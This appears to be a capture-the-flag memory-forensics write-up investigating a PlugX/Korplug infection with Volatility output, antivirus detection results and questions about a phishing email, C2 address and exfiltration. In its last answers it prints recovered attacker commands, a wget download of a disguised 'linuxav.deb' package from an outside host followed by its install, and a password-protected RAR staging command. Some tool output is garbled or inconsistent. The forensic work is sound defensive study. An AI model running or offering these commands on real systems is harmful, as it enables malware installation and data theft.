nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$ dir
ecorpn7-e73257c4.vmem ecorpn7-e73257c4.vms file.None.0xfffffa80034e9010.Outlscott.knowles@corp.biz-00000004.pst.vacb file.None.0xfffffa80034e9850.Outlscott.knowles@corp.biz-00000004.pst.dat
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpn7$ pffexport file.None.0xfffffa80034e9850.Outlscott.knowles@corp.biz-00000004.pst.dat
pffexport 20180714

Opening file.
Exporting items.
Exporting folder item 1 out of 7.
Exporting folder item 2 out of 7.
Exporting email item 1 out of 1.
Exporting recipient.
Exporting email item 1 out of 5.
Exporting recipient.
Exporting email item 2 out of 5.
Exporting recipient.
Exporting email item 3 out of 5.
Exporting recipient.
Exporting email item 4 out of 5.
Exporting recipient.
Exporting email item 5 out of 5.
Exporting recipient.
Exporting attachment 1 out of 1.
Exporting folder item 3 out of 7.
Exporting folder item 4 out of 7.
Exporting folder item 5 out of 7.
Exporting folder item 6 out of 7.
Exporting folder item 7 out of 7.

Export completed.

```


[illegible]

0x0000000073040000	0x51000	0x1	2016-10-04	14:36:57	UTC+0000	C:\Windows\System64\WINSPOOL.DRV
0x0000000073920000	0x12000	0x1	2016-10-04	14:36:57	UTC+0000	C:\Windows\System64\PIR.dll
0x0000000073910000	0xe000	0xffff	2016-10-04	14:36:57	UTC+0000	C:\Windows\AppPatch\AcWow64.DLL
0x0000000073900000	0x9000	0x1	2016-10-04	14:36:57	UTC+0000	C:\Windows\System64\VERSION.dll
0x0000000076050000	0xe0000	0x2	2016-10-04	14:36:57	UTC+0000	C:\Windows\system32\IMM32.dll
0x0000000075910000	0xcc000	0x1	2016-10-04	14:36:57	UTC+0000	C:\Windows\system64\HSCF.dll
0x00000000737d0000	0x9e000	0x2	2016-10-04	14:36:57	UTC+0000	C:\ProgramData\test.dll
0x0000000073800000	0x80000	0x2	2016-10-04	14:36:59	UTC+0000	C:\Windows\System32\uxtheme.dll
0x0000000073130000	0x13000	0x1	2016-10-04	14:36:59	UTC+0000	C:\Windows\System32\uxtheme.dll
0x0000000075ca0000	0x35000	0x2	2016-10-04	14:36:59	UTC+0000	C:\Windows\system64\ux2_32.dll
0x00000000751c0000	0x95000	0x1	2016-10-04	14:36:59	UTC+0000	C:\Windows\System64\WSL.dll


```
hnanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin75.vol.py -f ecorpin7-e73257c4.vmem --profile=Wln75P1x64_23418 dlldump -p 2432 -D .
Volatility Foundation Volatility Framework 2.6.1
Process(V) Name Module Base Module Name Result
-----
0xfffffa8003645370 rundll32.exe 0x0000000000000000 RUNDLL32.EXE OK: module.2432.7e045370.c00000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076d70000 ntdll.dll OK: module.2432.7e045370.76d70000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075c30000 sechost.dll OK: module.2432.7e045370.75c30000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075d70000 USP10.dll OK: module.2432.7e045370.75d70000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076050000 IMM32.DLL OK: module.2432.7e045370.76050000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076310000 ole32.dll OK: module.2432.7e045370.76310000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073610000 dmapi.dll OK: module.2432.7e045370.73610000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075b60000 msvcrt.dll OK: module.2432.7e045370.75b60000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075c20000 LPK.dll OK: module.2432.7e045370.75c20000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073a30000 apphelp.dll OK: module.2432.7e045370.73a30000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074840000 wow64cpu.dll OK: module.2432.7e045370.74840000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073880000 uxtheme.dll OK: module.2432.7e045370.73880000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073a90000 USERENV.dll OK: module.2432.7e045370.73a90000.dll
0xfffffa8003645370 rundll32.exe 0x00000000768a0000 USER32.dll OK: module.2432.7e045370.768a0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075c10000 NSI.dll OK: module.2432.7e045370.75c10000.dll
0xfffffa8003645370 rundll32.exe 0x00000000760e0000 RPCRT4.dll OK: module.2432.7e045370.760e0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073900000 VERSION.dll OK: module.2432.7e045370.73900000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074b10000 kernel32.dll OK: module.2432.7e045370.74b10000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073920000 MPR.dll OK: module.2432.7e045370.73920000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073940000 WINSPOOL.DRV OK: module.2432.7e045370.73940000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076f50000 ntdll.dll OK: module.2432.7e045370.76f50000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075910000 HCRYPT.dll OK: module.2432.7e045370.75910000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075ca0000 ws2_32.dll OK: module.2432.7e045370.75ca0000.dll
0xfffffa8003645370 rundll32.exe 0x00000000739a0000 AcLayers.DLL OK: module.2432.7e045370.739a0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075fb0000 ADVAPI32.dll OK: module.2432.7e045370.75fb0000.dll
0xfffffa8003645370 rundll32.exe 0x00000000737d0000 test.DLL OK: module.2432.7e045370.737d0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075c50000 KERNELBASE.dll OK: module.2432.7e045370.75c50000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076810000 OLEAUT32.dll OK: module.2432.7e045370.76810000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074ab0000 Sspicli.dll OK: module.2432.7e045370.74ab0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074c30000 SHELL32.dll OK: module.2432.7e045370.74c30000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074850000 wow64win.dll OK: module.2432.7e045370.74850000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073a80000 profapi.dll OK: module.2432.7e045370.73a80000.dll
0xfffffa8003645370 rundll32.exe 0x0000000074aa0000 CRYPTBASE.dll OK: module.2432.7e045370.74aa0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075f50000 SHLWAPI.dll OK: module.2432.7e045370.75f50000.dll
0xfffffa8003645370 rundll32.exe 0x00000000748b0000 wow64.dll OK: module.2432.7e045370.748b0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000076ac0000 GDI32.dll OK: module.2432.7e045370.76ac0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000075ae0000 Imagehlp.dll OK: module.2432.7e045370.75ae0000.dll
0xfffffa8003645370 rundll32.exe 0x0000000073910000 Aclow64.DLL OK: module.2432.7e045370.73910000.dll
```



```
hnanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin75 sha256sum module.2432.7e045370.737d0000.dll
c699e073b1d3562687d636834aa3bb07737adc90d18ab7d65d18a4ec41c3387e module.2432.7e045370.737d0000.dll
hnanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin75
```



c699e073b1d3562687d636834aa3bb07737adc90d18ab7d65d18a4ec41c3387e




Security Vendors' Analysis			
Ad-Aware	Gen:Variant/Ser Razy.11303	AhnLab-V3	Backdoor/Win32.Etso.R17333
ALYac	Gen:Variant/Ser Razy.11303	Anty-AVL	Trojan.Generic.ASMalwS.330C
Avast	Win32/Malware-gen	AVG	Win32/Malware-gen
Avira (no cloud)	HEUR/AGEN.1234293	BitDefender	Gen:Variant/Ser Razy.11303
BitDefenderTheta	Gen:NN.ZedfAF.34806.luB@aa31zKdb	CrowdStrike Falcon	Win/malicious_confidence_90%(D)
Cylance	Unsafe	Cynet	Malicious (score: 100)
Elastic	Malicious (high Confidence)	Emissoft	Gen:Variant/Ser Razy.11303 (B)
eScan	Gen:Variant/Ser Razy.11303	ESET-NOD32	A Variant Of Win32/Korplug.1
Fortinet	W32/Generic.AC.1AE897f	GData	Gen:Variant/Ser Razy.11303
Ikarus	Trojan.Win32.Korplug	Kaspersky	HEUR:Trojan.Win32.Generic
MAX	Malware (ai Score=84)	McAfee	GenericRXAM-JUD66983D01EE8
McAfee-GW-Edition	GenericRXAM-JUD66983D01EE8	Microsoft	Backdoor/Win32/Sogu.Aldha
Panda	Trj/GdSda.A	QuickHeal	Trojan.MauvaiseRf.55253245
Sangfor Engine Zero	Suspicious.Win32.Save a	SecureAge APEX	Malicious
SentinelOne (Static ML)	Static AI - Suspicious PE	Sophos	ML/PE-A + Trj/Korplug-AK
Trellix (FireEye)	Generic.mg.d66983d01ee85712	VBA32	BScope-Trojan.Agent
VIPRE	Gen:Variant/Ser Razy.11303	Yandex	Trojan.GenAssV14m06FcCrg
Zillya	Trojan.Korplug.Win32.1204	Acronis (Static ML)	Undetected
Alibaba	Undetected	Arcabit	Undetected



Inventory Statistics Usage Api/Vector Login

Quicksearch...

win.plugin (Back to overview)



Propose Change

aka: Destroy RAT, Kaba, Korplug, Sogu, TIGERPLUG, RedDelta
Actor(s): APT 22, APT 26, APT31, APT41, Aurora Panda, Calypso group, DragonOK, EMISSARY PANDA, Hellsing, Hurricane Panda, Leviathan, Mirage, Mustang Panda, NetTraveler, Nightshade Panda, SLIME29, Samurai Panda, Stone Panda, UPS, Violin Panda

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve:
machine information
capture the screen
send keyboard and mouse events
keylogging
reboot the system
manage processes (create, kill and enumerate)
manage services (create, start, stop, etc.); and
manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

References

13. What password does the attacker use to stage the compressed file for exfil?


```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$ cd ..
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7$ vol.py -f ecorpin7-e73257c4.vmem --profile=Wln7SP1x64_23418 nendump -p 288 -D dump/
Volatility Foundation Volatility Framework 2.6.1
*****
Writing svchost.exe [ 288] to 288.dmp

```

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$ strings -a -t d -e l 288.dmp >> 288.unl
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$

```

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$ grep -l "password" 288.unl
591050 password 1234 -r C:\ProgramData\reports.rar *.*
1291270 Startup Password
1291364 This computer is configured to require a password in order to start up. Please enter the Startup Password below.
1291624 &password:
1292610 Changing password...

```

14. What is the IP address of the c2 server for the malicious file?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7$ vol.py -f ecorpin7-e73257c4.vmem --profile=Wln7SP1x64_23418 netscan | grep 288
Volatility Foundation Volatility Framework 2.6.1
0x7d9a6350 TCPv4 10.1.1.141:49411 52.90.110.169:80 CLOSED 288 svchost.exe
0x7dc8c750 TCPv4 10.1.1.141:49404 52.90.110.169:80 CLOSED 288 svchost.exe
0x7dc3ecf0 TCPv4 10.1.1.141:49429 52.90.110.169:80 CLOSED 288 svchost.exe
0x7de50cf0 TCPv4 10.1.1.141:49396 52.90.110.169:80 CLOSED 288 svchost.exe
0x7e2f2010 TCPv4 10.1.1.141:49158 52.90.110.169:80 CLOSED 288 svchost.exe
0x7e53a730 TCPv4 10.1.1.141:49389 52.90.110.169:80 CLOSED 288 svchost.exe
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7$

```

15. What is the email address that sent the phishing email?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7$ vol.py -f ecorpin7-e73257c4.vmem --profile=Wln7SP1x64_23418 yarascan -Y "From:"
Volatility Foundation Volatility Framework 2.6.1
Rule: r1
Owner: Process OUTLOOK.EXE Pid 2490
0x091ebe73 46 72 0f 0d 3a 20 6c 6c 6f 79 64 63 68 75 6e 67 From:lloydchung
0x091ebe83 40 61 6c 6c 73 61 66 65 63 79 62 65 72 73 65 63 @allsafecybersec
0x091ebe93 2e 63 6f 6d 0a 54 6f 3a 20 73 63 6f 74 74 2e ,com.,To:scott.
0x091ebea3 6b 6e 6f 77 6c 65 73 40 65 2d 63 6f 72 70 2e 62 knowles@corp.b
0x091ebeb3 69 7a 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 tz..User-Agent:
0x091ebec3 53 71 75 69 72 72 65 6c 4d 61 69 6c 2f 31 2e 34 SquirrelMail/1.4
0x091ebed3 2e 32 33 20 5b 53 56 4e 5d 0d 0a 4d 49 4d 45 2d .23.[SVN]..MIME-
0x091ebee3 56 65 72 73 69 6f 6e 3a 20 31 2e 30 0d 0a 43 6f Version:1.0..Co
0x091ebef3 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 ntent-Type:mult
0x091ebf03 69 70 61 72 74 2f 6d 69 70 65 64 3b 62 6f 75 6e lpart/mixed:boun
0x091ebf13 64 61 72 79 3d 2d 2d 2d 2d 3d 5f 32 3b 31 36 darys"-----w.2016
0x091ebf23 31 30 30 34 30 37 33 35 31 33 5f 35 31 34 37 30 1004073513.51478
0x091ebf33 22 0d 0a 58 2d 50 72 69 6f 72 69 74 79 3a 20 33 ".X-Priority:3
0x091ebf43 20 28 4e 6f 72 6d 61 6c 29 0d 0a 49 6d 70 6f 72 .(Normal)..Impor
0x091ebf53 74 61 6e 63 65 3a 20 4e 6f 72 6d 61 6c 0d 0a 0d tance:Normal...
0x091ebf63 0a 65 76 69 65 00 00 00 0c 01 ac 02 ed 7d 9f .evie.....).
Rule: r1

```

16. What is the name of the deb package the attacker staged to infect the E Coin Servers?

```

nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$ grep -E "\.deb" 288.unl
421663677 wget files.allsafecybersec.com/av/linuxav.deb
421663771 dpkg-deb linuxav.deb
421666648 wget files.allsafecybersec.com/av/linuxav.deb
421666742 dpkg-deb linuxav.deb
481207686 wget files.allsafecybersec.com/av/linuxav.deb
481207778 dpkg-deb linuxav.deb
421663677 wget files.allsafecybersec.com/av/linuxav.deb
421663771 dpkg-deb linuxav.deb
421666648 wget files.allsafecybersec.com/av/linuxav.deb
421666742 dpkg-deb linuxav.deb
481207686 wget files.allsafecybersec.com/av/linuxav.deb
481207778 dpkg-deb linuxav.deb
nanan@ubuntu:~/Desktop/c74-TeamSpy/ecorpin7/dump$

```